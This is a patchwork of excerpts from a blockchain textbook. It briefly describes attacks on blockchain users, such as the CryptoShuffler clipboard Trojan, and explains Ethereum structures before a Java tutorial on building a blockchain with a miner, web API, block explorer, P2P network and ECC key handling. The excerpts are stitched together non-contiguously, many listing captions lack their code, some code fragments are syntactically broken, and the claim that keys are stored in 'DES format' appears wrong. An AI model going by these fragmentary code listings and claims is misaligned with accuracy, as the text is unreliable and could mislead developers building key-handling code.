broadcasting the other transaction to the network. The
network doesn’t notice the wrong transaction until later.
Finney Attack
Denial-of-Service Attack
Attacks on Users
Phishing
Pretexting
Pretexting occurs when attackers trick their victims into
believing they have a false identity or occurrence. In this
way, attackers try to obtain secret information or persuade
victims to take certain actions.
Malware
Another famous type of attack is malware: malicious
programs that perform malicious functions on a computer.
Again, attackers have displayed their creativity by
reinterpreting this well-known method in the blockchain
environment. In one case, via downloads of various
seemingly useful tools, attackers spread the CryptoShuffler
Trojan, which installed itself in computers’ registry in the
background. The Trojan’s job was to monitor the computer’s
clipboard. Since private keys are very long, users like to
copy them to their clipboard and paste them back into the
desired application to authenticate themselves. The Trojan
took advantage of this, stole the private keys, and sent
them to the attackers. They were now able to empty their
victims’ addresses.
Figure 3.2 Example of a Patricia trie. The numbered nodes make up the
strings listed on the side.
Figure 3.3 Structure of an MPT with the different types of nodes (based on
Thomas, 2016).
This extension node is also the root of the tries, but the
following characters of the keys differ. Therefore, the
extension node points to a branch node, in which the
references to the next child nodes can be entered. For the
first key, a reference is created in slot 2; for the second and
third keys, a reference is created in slot 8; and for the last
key, a reference is created in slot d. Since the first and last
keys remain unique from this point on, a leaf node is
created with the last nibbles of the keys. These leaf nodes
now contain the value, but the second and third keys also
have the same following characters. Therefore, slot 8 refers
to a new extension node with the matching nibbles of the
keys. To represent the last, differing nibbles, a branch node
is used again by adding a reference to the following child
nodes at slot c and slot 1. These represent the final leaf
nodes with the last nibble, and they contain the values.
Note that if the nibble in the branch node were the last digit
of the key, the value would be stored directly there—just like
in a leaf node.
Listing 3.1 Source code representation of the MPT from Figure 3.3.
Now, the Merkle part of the MPT comes into play: hashing.
This, too, happens from the bottom up. First, the leaf nodes
are hashed along with their data. Then, in the parent nodes
(nodes that directly reference the affected leaf nodes), the
pointers are replaced by the hash of the node in question.
The parent node is then hashed, and the pointers are also
replaced in their parent nodes. This continues until it’s the
root’s turn. The resulting hash is ultimately the root hash of
the MPT.
Accounts
Ethereum Addresses
Transactions
maxPriorityFeePerGas
Users can give validators a tip that gets users priority for
inclusion in the next block. This tip is called a priority fee.
The maximum price (in Gwei) of this priority fee per unit
of gas can be specified in this data field. In addition to the
priority fee, users pay the base fee, but this is burned
after the transaction is carried out (i.e., liquidated by the
network). The priority fee is therefore the actual reward
for the validators. The higher the tip, the faster and more
reliably the validators will consider the transaction.
maxFeePerGas
This field indicates the maximum total fee per gas unit
that users are willing to pay as part of the transaction.
The total fee is made up of the base fee and the priority
fee.
Transaction Trie
Unlike the data in accounts, transactions in the block are not
subsequently changed. It therefore makes sense to store
transactions in a separate data structure. For this purpose,
the Ethereum network uses the transaction trie by storing
the transactions collected in the transaction list there. Here,
Ethereum again resembles Bitcoin because unlike in the
state trie, not all transactions in the network are stored in a
transaction trie; only the transactions that have occurred
since the last block are. So, there are several transaction
tries—one per block, to be exact. Otherwise, the transaction
trie works like a normal MPT. The transactions are stored in
key-value pairs in the trie, with the RLP-encoded index of
the transaction (which is important for the order)
representing the key and the transaction components
described previously representing the value.
Messages
Receipts
eth1_data
This is a remnant of the transition phase to PoS, when
Eth1 and Eth2 still existed in parallel. When the execution
payload data was not yet stored within the beacon block,
the Eth2 nodes that were already working with beacon
blocks had to somehow get an overview of the Eth1 chain.
This was particularly important because the deposit
contract (the smart contract that manages the
participating validators) also was deployed on the Eth1
chain. Eth1_data was used to get the view of the Eth1 chain
into those beacon blocks. Eth1_data is a container
consisting of three fields: the deposit_root field contains
the root of the trie in which the deposits of validators are
stored, the deposit_count field contains the number of all
deposits in the deposit contract, and the block_hash field
stores the hash of a specific Eth1 block. As eth1_data is no
longer relevant, it’s no longer checked for the correctness
of the data it contains.
graffiti
In this field, block proposers can let their imagination run
wild. Any data can be entered in graffiti, or it can also be
left blank. This allows validators to make the network
more personal and lets them express their creativity. This
desire was already evident in the early days of Bitcoin,
when the coinbase was used for personal messages (see
Chapter 1, Section 1.1.3). The client software including
version number is often entered here.
Block proposers can also participate in the game
www.beaconcha.in. To do so, block proposers enter
coordinates and a color value in the graffiti field and can
contribute to filling in a common graffiti wall.
proposer_slashing
If validators don’t adhere to the rules of the protocol and
thus jeopardize the security of the network, they may be
penalized. In this case, the validators are slashed, which
means that they lose part of their deposit and possibly
also suffer additional penalties, such as partial or
complete exclusion from participation in the consensus
building process. The proposer_slashing field contains a list
of validators who are slashed.
Attestations
In Ethereum, attestation refers to the process by which
validators confirm the accuracy of the current state of the
blockchain through voting and consensus building. The
attestations field contains the list of attestation objects
associated with the block. An object consists of three
fields. The aggregation_bits field contains a list of every
validator who participated in the attestation, the signature
field contains an aggregation of all signatures of all
participating validators, and the data field is a container
that itself consists of several fields. The slot, index,
beacon_block_root, target and source (describing the last
justified checkpoint) fields help to detail the attestations
and refer to information that we’ll describe later in
Section 3.3.3.
attester_slashing
Attesters can also violate protocol rules with their
attestations (e.g., by voting for two competing blocks at
the same time). The attester_slashing field contains a list
of attesters who are slashed.
Deposits
For a user to become a validator in Ethereum, a deposit
must be made in the deposit_contract, which is deposited
as collateral. Any outstanding deposits are stored in this
field so that they are then available in the consensus
layer. A deposit consists of proof that the deposit was
created in the form of the deposit contract and deposit
data, such as the public key and the signature of the
validator or the amount of the deposit.
voluntary_exits
Validators can also choose to abandon their role and
reclaim their deposit. This field contains a list of objects,
each of which is described by the time of exit (epoch) and
the identifier of the exiting validator (validator_index).
sync_aggregate
Another security feature of the Ethereum PoS
implementation is the sync committee, whose task it is to
sign the new block headers. This helps light clients (the
Ethereum counterpart to light nodes in Bitcoin) to manage
their chain, which consists only of the headers of the
respective blocks. The sync_aggregate field contains an
overview of which validators of the sync committee have
signed and a signature aggregation of all members of a
sync committee.
Figure 3.10 Structure of a beacon block, including the beacon block body
with the execution payload.
Figure 3.11 While a transaction trie or a receipts trie are formed and
persisted for each block, the state trie is only updated with regard to the
changes made.
3.3 The Blockchain System 2.0
Now that you’ve learned what the data structure looks like
on Ethereum, we’ll show you how the associated system
works. In this section. we’ll first talk about the nodes, then
explain how the EVM works, and finally describe how the
network and the PoS consensus algorithm works.
Calldata is the data that is sent in the data field when the
EOAs transact. These are read-only and must be addressed
with byte precision. Since the EVM is a stack machine, it
also has a stack (meaning stack memory) that can hold
1,024 elements. The EVM compiles received code into EVM
opcode and then executes it on the stack, where you can
perform the commands POP (remove element from stack),
PUSH (place element on stack), DUP (duplicate element) and
SWAP (swap element space with another element). An
element in the stack has the size of 256 bits. It costs
comparatively little gas to store elements on the stack
because the stack is not persistent.
Figure 3.12 Structure of the Ethereum virtual machine based on Saini, 2018.
Static Nodes
In addition to bootnodes, there is another node
designation in Ethereum that is common in the P2P
network: static nodes. While a node’s peers usually
change regularly, a node can define peer nodes that it
wants to connect to permanently. These persistent peer
nodes are then referred to as static nodes. The addresses
of these static nodes can be individually configured in the
client.
Initial Synchronization
Communication
As usual for the Ethereum architecture, general
communication in the network is different for the execution
layer and the consensus layer.
The Protocol
Validators
Block Proposal
Attestations
Sync Committee
Swarm
Maven
this.txId = SHA3Helper.hash256(this);
}
4 + 4 + 8 + 32 + 32 = 80 bytes
Listing 4.4 The constructor of a block sets the size of the empty block at the
beginning: the size of the block header plus the size of the metadata.
Listing 4.5 The method for adding a transaction must update the transaction
counter and block size as well as the block header.
Now that you can create and use blocks including block
headers and transactions, all you need is the chain itself. For
this, you create the Chain class in the models/Chain.java file.
The Chain class is very simple and has very few attributes. It
only needs a network ID and a list of blocks. Unlike the other
IDs of a blockchain, the network ID is just an attribute of the
Integer data type. This ID allows you to offer multiple
networks of the same blockchain—for example, a production
network and a test network. At this stage, you can use a
simple ArrayList to store the blocks, but you’ll soon need a
list that allows concurrent accesses to the chain, which is
why we recommend using a CopyOnWriteArrayList.
Now, you can put your transactions into blocks and link
these blocks into a chain, but this information resides
exclusively in your node’s memory. Therefore, next, you
need to take care of the persistent storage of your
blockchain.
4.4 Storing the Blockchain State
Persistently
There are many possibilities for persistent storage, and we
decided on an easily readable variant: saving JSON files to a
storage device. Since the serialization of blocks and
transactions into JSON objects becomes necessary for
sending blocks over the network, you can also use this
representation when persisting.
Listing 4.6 The method for storing the blockchain persistently. Storing each
block in a separate file is ensured.
Listing 4.7 The method serializes each block into a JSON object using the
Genson library. Then, the JSON object is written to disk.
Listing 4.8 The method reads a block in JSON format from disk and
deserializes it into a block object.
public GenesisBlock() {
super(ZERO_HASH);
}
}
Initial Balances
Listing 4.11 The method for removing transactions from the pending queue.
This is required if transactions have already been used by another node.
Listing 4.12 The method selects the transactions for the next block.
Listing 4.13 The constructor of the blockchain class. The difficulty and the
maps for transactions and blocks are prepared. In addition, the chain is
initialized, which provides the data structure of the blockchain.
Listing 4.14 The fulfillsDifficulty method expects a hash value and checks
whether it satisfies the difficulty of the blockchain.
Determining a Working Difficulty
In Listing 4.13, the difficulty of the blockchain was initially
set to 16000. Since the difficulty determines how many
blocks can be created per second, you’ll need to adjust it
later for your system. The difficulty is still too low this
way, and your miner would create thousands of blocks per
second at this difficulty level. We’ve chosen this number
randomly, and you’ll approach the correct difficulty step
by step in the next section.
Listing 4.15 The run method of the miner thread increments the nonce in
the block header until the difficulty is satisfied. Then, the next block is started.
Your Miner class first needs a list to store the listeners and a
method for the listeners to register. The blockMined method
then checks to see if the new block contains transactions. If
it does, the block ID is set in the transactions, and then the
block is added to the blockchain. Finally, all listeners are
notified of the new block. This is done as shown in
Listing 4.17, using a simple for loop. However, as mentioned
in Section 4.6, the transactions contained in the block must
be removed from the pending transactions queue.
Listing 4.17 The blockMined method first checks whether the block contains
transactions, for which the block ID is set. Then, the listeners are informed.
Listing 4.18 The setUp method takes care of creating transactions that are
filed as pending.
Now, all you need to run it is a test case like the one in
Listing 4.19. First, you need to initialize the miner and
register the test class as a listener. Then, you can start the
miner thread and put the tests thread to sleep until there
are no more pending transactions. At the end, stop the
miner thread and the test case will be terminated. During
the mining process, block IDs should be issued permanently
because the miner notifies your listener every time a new
block is issued.
@Test
public void testMiner() {
Miner miner = new Miner();
miner.registerListener(this);
Thread thread = new Thread(miner);
thread.start();
while (DependencyManager.getPendingTransactions() ↩
.pendingTransactionsAvailable()) {
Thread.sleep(1000);
}
miner.stopMining();
}
Listing 4.19 The test case that starts the miner and assembles the pending
transactions into a blockchain.
Before you can start implementing the web API, you’ll need
a few frameworks that we’ll use in this chapter:
For the implementation of the web API, we recommend
the Jersey Container Servlet Framework
(https://mvnrepository.com/artifact/org.glassfish.jersey.co
ntainers/jersey-container-servlet).
For the deployment of the web API, we recommend
Tomcat Embed Core
(https://mvnrepository.com/artifact/org.apache.tomcat.em
bed/tomcat-embed-core) and Tomcat Jasper
(https://mvnrepository.com/artifact/org.apache.tomcat/to
mcat-jasper).
if (block == null) {
return Response.status(404).build();
} else {
return Response.ok(block).build();
}
}
Listing 5.2 The endpoint for retrieving a block by its ID. The desired block ID
is passed as a dynamic path element in the URL.
To return the last ten blocks, there are two new annotations
that you can use: @QueryParam and @DefaultValue. Listing 5.3
shows their usage. The @QueryParam annotation defines the
query parameter of the URL, while the @DefaultValue
annotation defines the default value of that parameter if
none is specified in the URL. The URL for this endpoint might
look like this: http://localhost:8080/blockchain/api/blocks?
size=10&offset=0. The query parameters are usually
appended to the end of an URL by ? and concatenated by &.
The size query parameter determines how many blocks to
return, and the offset defines at which block to start. The
two parameters thus enable a paging procedure that allows
the user to query the blocks page by page.
@GET
@Produces(MediaType.APPLICATION_JSON)
public Response getRecentBlocks(
@QueryParam("size") @DefaultValue("10") int size, ↩
@QueryParam("offset") @DefaultValue("0") int offset) {
List<Block> blocks = DependencyManager.getBlockchain() ↩
.getLatestBlocks(size, offset);
return Response.ok(blocks).build();
}
Listing 5.3 The endpoint that returns the latest blocks to the user. Via the
query parameter size, the user can decide how many blocks they want to
receive. Via the offset, they can select the desired page.
Listing 5.4 The method compiles a list of blocks depending on the size and
offset query parameters.
Listing 5.5 The uriInfo attribute contains information about the URL through
which a request was sent to the endpoint.
Listing 5.6 The endpoint for submitting a new transaction to the blockchain.
The endpoints for loading a transaction by its ID and for
loading the last ten transactions are analogous to those of
the service class for blocks. You can set a link header when
loading the transaction that includes a link to the associated
block. Listing 5.7 shows how this is done. The link header
makes it easier for you to check your delivered JSON
representations later. If you did not provide the link header,
you would have to assemble the URL to the associated
blocks in the web interfaces yourself.
URI uri = uriInfo.getBaseUriBuilder() ↩
.path("blocks") ↩
.path(SHA3Helper.digestToHex(trx.getBlockId())).build();
return Response.ok(trx).header("Link", uri).build();
Listing 5.7 Adding a link header to a response. The block ID of the trx
transaction is used for this.
Listing 5.9 This method ensures that all service classes are registered and
made known to the web API.
5.2.2 Preparing an Embedded Tomcat Server
Now, the web API is ready to be deployed to an application
server. In this step, you’ll implement a main method that
configures an embedded Tomcat server, boots it, and then
deploys the web API.
tomcat.start();
tomcat.getServer().await();
}
Listing 5.10 The main method configures an embedded Tomcat server, boots
it, and deploys the blockchain’s web API in an automated fashion.
Now, start the main method. Your blockchain is now running
on a single local node, and you can interact with it via HTTP
requests. Since the miner thread has started creating empty
blocks, you should be able to see the latest blocks in JSON
representation at
http://localhost:8080/blockchain/api/blocks?
size=10&offset=0.
@Override
public byte[] deserialize(ObjectReader objectReader, ↩
Context context) throws Exception {
return SHA3Helper.hexToDigest(objectReader.valueAsString());
}
}
Listing 5.11 The HashConverter converts a byte array into a hex string and
vice versa. The Genson library then uses this converter to convert the hash
values of the blockchain.
Listing 5.12 The HTML header imports both libraries: Bootstrap and
superagent.
Next, you create the content of the web interface. Since this
page will be used to submit a new transaction to your
blockchain, you need an HTML form. Using the Bootstrap
framework, this can be created easily and quickly.
Now the Fieldset begins, and you can define all required
input fields for a transaction. You should use at least the
components of the hash calculation for a transaction:
sender, receiver, amount, nonce, base price of the
transaction fee, and limit of the transaction fee. However,
the nonce can also be determined automatically by the
backend extension. If you want to specify more attributes,
you can of course extend the form accordingly.
Listing 5.13 Section of the form for creating new transactions. The snippet
shows the input field for the sender of the transaction, and for each additional
field, you just need to repeat the form-group div element.
Listing 5.14 The button redirects to the transaction view so that a sent
transaction can be verified. The button is hidden until the transaction is
submitted to the blockchain.
The first function should loop over all input elements and
then build a map that merges the element name with the
value. Then, as shown in Listing 5.15, the JSON.stringify
method can convert this map into a JSON string.
function toJSONString(form) {
var obj = {};
var elements = form.querySelectorAll("input");
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
var name = element.name;
var value = element.value;
if (name) {
obj[name] = value;
}
}
return JSON.stringify(obj);
}
Listing 5.15 The method converts the specified data in the input fields into a
JSON object and returns it as a string.
Listing 5.16 The method prepares the post request and then sends it to the
web API.
Listing 5.17 The table for displaying a transaction. A row either only contains
data or also links to blocks.
myagent.get(target)
.then(res => {
document.getElementById('txId').innerHTML = res.body.txId;
document.getElementById('txId').href = ↩
transactionsHref + res.body.txId;
document.getElementById('amount').innerHTML = res.body.amount;
[...]
});
Listing 5.18 The JavaScript code extracts the transaction ID from the query
parameter of the URL and sends a GET request to the API to load the desired
transaction.
The links to the block view are already set, so next, you’ll
implement the block view. Turn off your miner while you do
this.
5.4.2 Exploring Blocks
For the block view, you need another blocks.html HTML file
in the src/main/webapp folder. Again, copy your HTML
header and load both frameworks.
Listing 5.19 In addition to the information table, the block view has buttons
for the predecessor and successor blocks as well as a second table for the
transactions.
Listing 5.20 The code loads the ID of the successor block and adds it to the
button for the next block.
Listing 5.21 The block view needs a second table to display all transactions
of the block.
To make the code clean, you can create your own functions
for creating the individual elements. Implement one function
each for links and for information. Listing 5.22 shows the
function to create an element of type a, to set the link, and
then to define the content.
function createElementA(hrefPrefix, id) {
var element = document.createElement('a');
element.href = hrefPrefix + id;
element.innerHTML = id;
return element;
}
Listing 5.22 The function creates a new element of type a, sets the link, and
then sets the text to be displayed.
Now that you can easily view blocks and transactions, your
web interface is ready for use. If you want, you can
implement a landing page including search functionality in
the following section (but feel free to skip this).
Figure 5.4 The block view contains the information about the block and its
transactions and also contains buttons leading to the predecessor and successor
blocks.
Listing 5.23 The HTML code of the navigation bar, including the search
function.
After the navigation bar, you can start with the rest of the
page content. Implement two tables analogously to the
previous views: the first one should represent a list of
blocks, and the second one should represent a list of
transactions. You can copy the list of transactions from the
block view for this purpose, and you can see a possible list
for blocks in Listing 5.24.
<div id="content" class="container"><h3>Latest Blocks</h3>
<table id="recent-blocks" class="table">
<thead><tr><th>ID</th><th>Timestamp</th><th>Number of Transactions</th>
</tr></thead><tbody>[...]</tbody>
</table>
<h3>Latest Transactions</h3>
<table id="recent-transactions" class="table">
[...]
</table>
</div>
Listing 5.24 The content of the page again consists of two tables: one for the
list of blocks and another for the list of transactions.
Listing 5.25 The search function sends the hash value to the
DispatcherService and forwards to the appropriate view, depending on the
response.
Figure 6.1 The UML diagram shows the structure of a network node of your
blockchain.
Listing 6.1 Configuring the JGroups framework for your own P2P network.
Neighbor-Oriented Networks
Whenever a new node joins the channel, all the other nodes
are informed. All nodes—including the new one—receive a
view that contains information about new nodes, dropped
nodes, and all other nodes still participating in the network.
The ReceiverAdapter provides the viewAccepted method for this
purpose.
Listing 6.2 The viewAccepted method receives a view from the JGroups
channel, which contains information about all connected nodes.
Listing 6.4 The getter and setter methods of the adapter forward the calls to
the original Transaction class.
Listing 6.5 This method distributes a transaction on the P2P network via
multicasts to the shared channel.
Listing 6.6 This method converts the content of the received message into a
transaction and adds it to the pending transactions.
return transactions;
}
Listing 6.8 The new content of the try-catch block of the receive method
distinguishes between blocks and transactions.
Listing 6.9 This method searches for the predecessor block in the list and
then copies the partial list up to the predecessor block into a new list. This
becomes the basis for the new chain.
Listing 6.11 This method checks whether the current chain is the longest. If
it isn’t, the alternative chains are checked.
Listing 6.12 The code first determines the last common block of the two
chains and then the transactions that need to be removed or added.
Listing 6.13 This method determines the index at which the fork occurred.
Now that you can manage multiple chain forks, you need to
synchronize the blockchain to nodes that newly join the
network.
6.5 Adding New Nodes to the
Network
Your P2P network is fully functional, and new transactions
and blocks are also exchanged between the individual
nodes; the only missing feature is the synchronization
mechanism for new nodes. During the lifetime of a
blockchain, many nodes will join and leave, so new nodes
must load the previous blockchain from other nodes. In
addition, a node can always fail, so failing nodes also need
the new blocks after rejoining.
Listing 6.14 The new constructor initializes all attributes based on the
difficulty and the list of alternative chains.
Listing 6.15 This method searches for the longest chain and initializes the
two maps along the way.
Finally, you’ll implement the two getState and setState
methods in the BlockchainNetwork class. These methods are
very simple thanks to the Genson library and the adapter
classes, and you can use the streams of the two methods
directly in conjunction with Genson as in Listing 6.16. After
the blockchain is deserialized, it still needs to be injected
into the DependencyManager to not create a new object. The
same applies if you have implemented the Blockchain class
as a singleton.
Listing 6.16 The getState and setState methods serialize and deserialize the
current state of the blockchain.
Figure 6.2 The outputs of the first node. As soon as the second node is
added, the first node receives a new view.
If your nodes can’t find each other, make sure you’re using
IPv4, as IPv6 can often cause issues. You can use your block
explorer to traverse and view the blockchain.
6.6 Summary and Outlook
In this chapter, you learned how to decentralize your
blockchain using a P2P network. You first had to configure
and use your own P2P network, so you learned how to
distribute transactions and blocks on your network and how
to provide new nodes with the current state. The following
points summarize the most important lessons learned in this
chapter:
JGroups is a framework for creating P2P networks. It
handles the creation of groups and automated node
discovery, as well as performing multicasts.
The setDiscardOwnMessages method helps to filter out your
own sent messages, so you don’t have to check whether
the message came from the node itself.
JGroups distributes messages to all nodes in the network.
In contrast, there are neighbor-oriented networks in which
nodes forward messages only to their neighbor nodes.
These in turn repeat the process.
JGroups uses so-called views to indicate changes in the
network. Based on these views, nodes can determine
which nodes have been added and which nodes have left
the network.
In the case of partitioning, a MergeView can be used to
resolve the divergent states.
The default classes have been annotated for the web API
so that some attributes are ignored. However, when
transferring objects internally, all attributes that you have
implemented via adapter classes must be considered.
In the JGroups framework, objects of the Message class are
used to send messages. Set the receiver to null to send a
multicast to all nodes in the network.
Due to the parallel work of the miners, blocks can be
based on the same predecessor block. This leads to the
existence of multiple chain forks for a short period of
time, but the network will always choose the longest
chain.
The best block is the latest block of the longest chain.
A new participant in the network always needs the current
state of the blockchain. This is transmitted when the new
node is booted.
The prerequisite for this chapter is Java, but since you are
extending the block explorer, HTML, CSS, and JavaScript are
also required. For the generation of wallets and the
corresponding public and private keys, basic knowledge of
cryptography is advantageous—but don’t worry, you don't
have to implement any mathematical algorithms yourself.
You’ll use existing libraries for this purpose, and we’ll
explain the correct implementation. Within the Java code,
we use the library from
http://www.bouncycastle.org/java.html. In JavaScript,
however, we need an additional library for elliptic curve
cryptography (ECC), which we already explained in
Chapter 2, Section 2.1.2. The library used is provided as an
npm module and is called elliptic.js
(https://github.com/indutny/elliptic). The library can also be
found in our sample code under the following path:
webapp/crypto/elliptic.js.
From now on, we’ll only talk about accounts in this chapter,
since they are the simplest form of wallets and every wallet
represents an account.
Listing 7.1 This method generates a new key pair using Bouncy Castle’s ECC
implementation.
Listing 7.2 The saveKeyPair method stores a miner’s key pair persistently on
disk in JSON format.
If you store the two keys as shown in Listing 7.2, you’ll run
into problems later because Java encodes the keys in Data
Encryption Standard (DES) format. This contains metadata
in addition to the respective keys, but you can work around
this by storing the raw keys. You can easily extract the
public key by removing the first 23 elements from the
encoded byte array; alternatively, you can truncate the first
46 characters from the hex string.
((BCECPrivateKey))keyPair.getPrivate()).getD().toByteArray()
If you didn’t extract the two keys, the DES format of the
private key wouldn’t only contain the secret number D but
would also contain the meta information for defining the
elliptic curve as well as the public key. This would make the
private key longer than the public key, so you can check
whether you were able to isolate the keys correctly in the
JSON file by comparing the length of the two keys. The
public key should be almost twice as long as the private key
—to be exact, the public key should be 130 characters and
the private key should be 66 characters long.
Listing 7.4 The two methods update the balance based on the transaction.
The recipient of a transaction sees in an increase in their balance, while the
sender sees a decrease in their balance and must also pay the transaction fee.
Now that you have implemented the Account class, you need
to manage it. You’ll take care of that in the next section.
Listing 7.5 This method adds the mined block to the miner account and then
checks all transactions.
Listing 7.7 shows the table, which contains the address and
the balance. The address itself is again an href element that
refers to the specific account page. The credit is simply
represented as floating point number.
<table class="table"><tbody>
<tr><td>Address:</td>
<td><a id="address" href=""></a></td>
</tr>
<tr><td>Balance:</td>
<td id="balance"></td>
</tr>
</tbody></table>
Listing 7.7 The table contains the basic information address and balance of
an account.
Listing 7.8 The table is used to list all incoming and outgoing transactions.
The JSON object delivered via the web API contains a list of
all transactions ordered by date. Therefore, you need to
iterate this list as in Listing 7.9 and check for each
transaction, whether it’s incoming or outgoing. Do this by
checking whether the sender’s or receiver’s address is the
same as the current account. If your backend returns two
separate lists for incoming and outgoing transactions, you’ll
need to merge the two transaction lists sorted by date in
your JavaScript code. Of course, you could also include two
separate tables in the HTML code, but it might become
confusing for users.
var transactions = res.body.transactions;
for(transaction in transactions) {
var trx = transactions[transaction];
var table = document.getElementById('transactions') ↩
.getElementsByTagName('tbody')[0];
var row = table.insertRow(table.rows.length);
[...]
var cellType = row.insertCell(4);
if (trx.sender === res.body.address) {
cellType.appendChild(createElementP('OUT'));
} else if (trx.receiver === res.body.address) {
cellType.appendChild(createElementP('IN'));
}
}
Listing 7.9 The JavaScript code, in addition to the previous code in the
blocks.html file, decides whether the transactions are incoming or outgoing.
You can build the table with the block information about the
mined blocks in a similar way to the index.html page.
Simply use the table shown in Listing 7.10. You can access
the mined blocks in the JSON object using the var blocks =
res.body.minedBlocks command, and you can then use the
JavaScript code of the index.html file to insert the individual
blocks into the table of HTML code.
<table id="blocks" class="table"><thead>
<tr>
<th>ID</th>
<th>Timestamp</th>
<th>Number of Transactions</th>
</tr></thead>
<tbody></tbody>
</table>
Listing 7.10 The table shows the mined blocks assigned to the account.
Now that you have implemented the account view, all you
need to do is start the embedded Tomcat server and
navigate to http://localhost:8080/accounts.html?
account=abcd to view the abcd account. Replace abcd with
the public key that your miner wrote to the JSON file in the
accounts folder. You should see the first blocks and the
balance of the miner account as shown in Figure 7.2, and if
you have included the block ID as a link, you can go directly
to the individual blocks to check whether the account is
registered as coinbase.
Figure 7.2 The web view of an account. The miner has already mined three
blocks and received 50 units per block as a block reward.
To generate the key pair, you only need one instance of the
elliptic.js library. You pass the name of the desired ECC
algorithm to the constructor, as in Listing 7.11, and then,
you call the genKeyPair method to get the desired key pair.
Finally, you must enter the respective values into the input
fields.
function generate() {
var EC = new (elliptic.ec)('secp256k1');
var key = EC.genKeyPair();
document.getElementById('publickey').value = key.getPublic(false, 'hex');
document.getElementById('privatekey').value = key.getPrivate('hex');
}
Listing 7.11 The elliptic.js library handles the generation of the key pair
using the secp256k1 ECC algorithm.
Listing 7.11 shows how to access the two keys. Both keys
are encoded as a hex string, and the boolean parameter of
the getPublic method decides whether the normal or the
compressed version of the key is used. Use the variant that
suits your backend. According to our implementation, you
need the value false to avoid compressing the key. Then,
you’ll just need to assign this function to the onclick event of
the button.
You can construct the two input fields in the same way as in
Listing 7.12. Embed the fields in an HTML form and
implement a button to generate them. You can also
implement a function that copies the generated key pair to
the clipboard, or you can provide a download function for a
JSON file.
<div class="form-group">
<label class="col-md-4 control-label" for="publickey">Public Key</label>
<div class="col-md-4">
<input id="publickey" name="publickey" placeholder="Public Key" ↩
class="form-control input-md" required="" type="text">
</div>
</div>
Listing 7.12 The input field for the public key. This is filled after the key pair
is generated.
Figure 7.3 Clicking GENERATE WALLET generates a key pair and fills the
input fields with the appropriate values.
7.4.3 Linking and Searching Accounts via the
Block Explorer
Next, you’ll update the search function. The DispatcherService
has already been prepared to support the search for
accounts, so all you need to do now is modify the block
explorer’s triggerSearch function to redirect to accounts.
Listing 7.13 The search function now decides whether the item searched for
is an account. If it is, you’ll be redirected to the account view.
Next, for the pages on blocks and transactions, you can link
all the accounts so the user can easily view them.
Listing 7.14 shows how you need to modify the HTML code
of an attribute. Apply the same principle to the sender and
receiver of transactions, and you can also set these links for
transaction lists within blocks and accounts.
<tr>
<td>Miner:</td>
<td>
<a id="coinbase" href=""></a>
</td>
</tr>
Listing 7.14 Here, an href element is embedded in the cell. This ensures
redirection to the associated account page.
You have completed your block explorer and linked the new
account page. Your users can now view all the information
stored within the blockchain, and they can generate new
key pairs for their accounts with a click.
7.5 Summary and Outlook
In this chapter, you learned how to integrate accounts into a
blockchain. You also extended the block explorer so that
users can also obtain account information, so you first had
to learn what information is important for an account and
how the balance can be calculated. The following points
summarize the main lessons of this chapter:
Wallets are advanced accounts that provide extra
functionalities (e.g., power of attorney) in addition to a
key pair.
The secp256k1 algorithm for ECC is available in both Java
and JavaScript.
Each miner needs an account. The address of the account
or the public key is included in the block by the miner as
coinbase.
The generated keys are always encoded in Java and must
be extracted first when saving. The public key is obtained
by removing the first 23 bytes, and the private key is
represented by the secret number D of the ECC.
With ECC, the public key is always about twice as long as
the private key. In the secp256k1 algorithm, the public key
is 65 bytes long and the private key is 33 bytes long.
Account management in blockchains is not dictated by
the blockchains’ implementations. It’s up to the nodes
themselves how to manage the information about
individual accounts, but for performance reasons, it’s
advisable not to collect the information again each time
by traversing the blockchain.
The balance of an account is calculated from the block
rewards and the transaction fees minus all outgoing and
plus all incoming transactions. Block rewards and
transaction fees are not applicable to normal user
accounts because they don’t mine blocks.
The transaction fee is usually the product of units
consumed and base price. In the Ethereum blockchain, a
primitive transaction costs exactly 21,000 units. If the
sender accesses functions of a smart contract, additional
costs are incurred, depending on the computing effort.
The account information is not transferred to nodes that
newly join the network. Since management is left to each
node, a new node initializes this data on its own. In your
case, the node traverses the blockchain and determines
the balances of all participating accounts.
The elliptic.js library is a JavaScript library that enables
ECC functionalities.
The web interface of an account contains, in addition to
the address and balance, a list of all incoming and
outgoing transactions as well as all the blocks the account
has mined.
In JavaScript the key pairs are stored in encoded form and
must first be converted into a hex string representation. It
can be decided whether the full public key or the
compressed one is exported.
Now that the miners can receive their rewards and the users
can generate their own accounts, the next chapter deals
with digital signatures and transaction verification.
8 Implementing Verification
and Optimizations
Listing 8.1 The conversion of the input fields into concrete key objects and
finally into the key pair.
The frontend and the backend must both use the exact
same representation of a transaction and convert it into a
hex string, which is then used in the frontend for signing
and in the backend for verification. Verification of the digital
signature can only be successful if the same hash is used as
a basis, so the same representation of a transaction must be
implemented in the next section. Simply use the JSON
representation of the transaction that the toJSONString
method returns. The TextEncoder class can be used as shown
in Listing 8.2 to sign the JSON object, and then the signature
must be added to the array, which later becomes the signed
JSON object.
var encoder = new TextEncoder();
var signature = keyPair.sign(encoder.encode(json)).toDER();
obj['signature'] = toHexString(signature);
Listing 8.2 The signing process of the submit function. Then the signature is
added to the JSON object of the transaction.
Listing 8.3 The function converts a byte array into a hex string.
8.1.2 Supporting Digital Signatures in the
Backend
To use the digital signatures in the backend, you must add a
new signature attribute in the Transaction class. The web
application programming interface (web API) can then utilize
the signature that the web interface appends. Because the
signature is a hex string, you need the @JsonConverter
annotation, and since you have changed the transactions,
you also need to update the SizeHelper. The size of a
transaction is no longer static but varies with the length of
the signature. A signature can be between 70 and 72 bytes
long, so the SizeHelper must determine the size of a block
and a transaction dynamically.
Listing 8.4 shows how the signature and the public key can
be used to verify a transaction. The public key corresponds
to the sender’s address, and to generate the
ECPublicKeyParameters, you need the underlying point of the
ECC curve and the domain. The domain is calculated from
the various points that define the ECC curve, and it’s best to
use the implementation from Listing 8.4.
public static boolean verify(byte[] hash, byte[] signature, byte[] pubKey) {
ASN1InputStream asn1 = new ASN1InputStream(signature)) {
ECDSASigner signer = new ECDSASigner();
ECPoint point = CURVE.getCurve().decodePoint(publicKey);
ECPublicKeyParameters par = new ECPublicKeyParameters(point, DOMAIN);
signer.init(false, par);
